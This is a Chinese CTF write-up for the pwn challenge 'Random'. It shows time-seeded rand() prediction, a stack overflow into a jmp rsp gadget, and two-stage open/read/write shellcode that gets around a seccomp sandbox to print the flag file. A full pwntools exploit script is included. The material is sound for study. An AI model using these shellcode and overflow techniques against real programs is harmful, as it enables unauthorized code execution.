这次的pwn出的比较简单 也就最后一题值得拿来说一说 但是其本质也就是非常简单的手写shellcode
Random

保沙盒护基本全关了 但是开启了沙盒 ida看一下伪代码
int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v3; int v5; int v6; int v7; int i;
setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); v7 = 100; sandbox(); v3 = time(0LL); srand(v3); for ( i = 0; i < v7; ++i ) { v6 = rand() % 50; puts("please input a guess num:"); if ( (unsigned int)__isoc99_scanf("%d", &v5) == -1 ) exit(0); if ( getchar() != 10 ) exit(1); if ( v6 == v5 ) { puts("good guys"); vulnerable(); } else { puts("no,no,no"); } } return 0; }
|
考察了一个伪随机数 用时间当种子 对的话就进入vulnerable函数 伪随机数考烂了都 这里就不讲了
直接来看vulnerable函数
ssize_t vulnerable() { char buf[32];
puts("your door"); return read(0, buf, 0x40uLL); }
|
当纯的一个栈溢出漏洞 不过观察了函数表 还发现了个haha函数 里面有一个jmp rsp指令
.text:000000000040094A haha proc near .text:000000000040094A ; __unwind { .text:000000000040094A push rbp .text:000000000040094B mov rbp, rsp .text:000000000040094E jmp rsp .text:000000000040094E haha endp
|
那么很明显了 没有开启NX保护机制 再加上有jmp rsp 就可以实现手写shellcode的一次执行
jmp指令实际上就是将rip指针跳转到rsp指针指向的地址
我们的jmp rsp指令覆盖的是ret addr shellcode是在retaddr的下一个字长处 此时ret指令弹出jmp rsp到rip寄存器中 rsp指针+8
也就指向了shellcode的起始地址 从而jmp rsp将rip寄存器指向shellcode的起始地址
接着就是如何构造shellcode了 既然没有开启NX保护 又开启了沙盒 想直接获取shell显然是行不通了
只能通过orw的办法 这里有两种实现的逻辑 一种是采用shellcode的orw 一种是构造rop链的orw
不过显然后者的利用更加麻烦 需要更多的步骤 于是这里采用前者
对于第二次shellcode要写在哪里 这里遇到了个小问题 在比赛的时候采用的是ubuntu18的机子 libc文件采用的是本地的libc
vmmap查看到的内存空间中 0x601000到0x602000这一个页是有rwx权限的 可以供我们存放第二次shellcode

不过编写这次的wp的时候采用的是ubuntu20的机子 哪怕我把libc更换成了ubuntu18同款 但是0x601000到0x602000却没有可执行权限

也是非常神奇 既然这样就采用原本做题的时候废弃的一个解法 在栈上写第二次shellcode 比赛的时候第一次的exp也是这种做法 不过最后因为远程和本地的libc差异导致偏移不同 最后也没有打通 不过本地复现重要的是掌握这题的知识点 所以倒也无所谓
shellcode = """ xor eax,eax shl edx,12 syscall sub rsp,0x30 jmp rsp """
|
首先设置异或清空eax寄存器 随后利用shl逻辑左移 扩大edx的值 随后syscall 调用read函数
此时read函数写入数据的地址和rsp指针指向的地址 我们来查看一下

可以看到差值是0x30 如果我们在执行完read以后 把rsp指针往低地址处挪动 随后再来一句jmp rsp 就可以执行第二次shellcode 第二次shellcode也就是为了达到orw效果
shellcode = asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''')
|
剩下的就没什么好说了
完整exp:
from pwn import* from ctypes import * io = process("./pwn")
context.log_level = "debug" context.terminal = ['tmux','splitw','-h']
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = "amd64" elf = ELF("./pwn") def debug(): gdb.attach(io) pause()
seed = libc.time(0) libc.srand(seed) io.recvuntil("please input a guess num:") buf = libc.rand()%50 io.sendline(str(buf)) io.recvuntil("your door") shellcode = """ xor eax,eax shl edx,12 syscall sub rsp,0x30 jmp rsp """ jmp_rsp = 0x000000000040094e payload = cyclic(0x28)+p64(jmp_rsp)+asm(shellcode) gdb.attach(io,'b *0x400949') pause(0) io.send(payload) shellcode = asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''') io.send(shellcode) pause()
|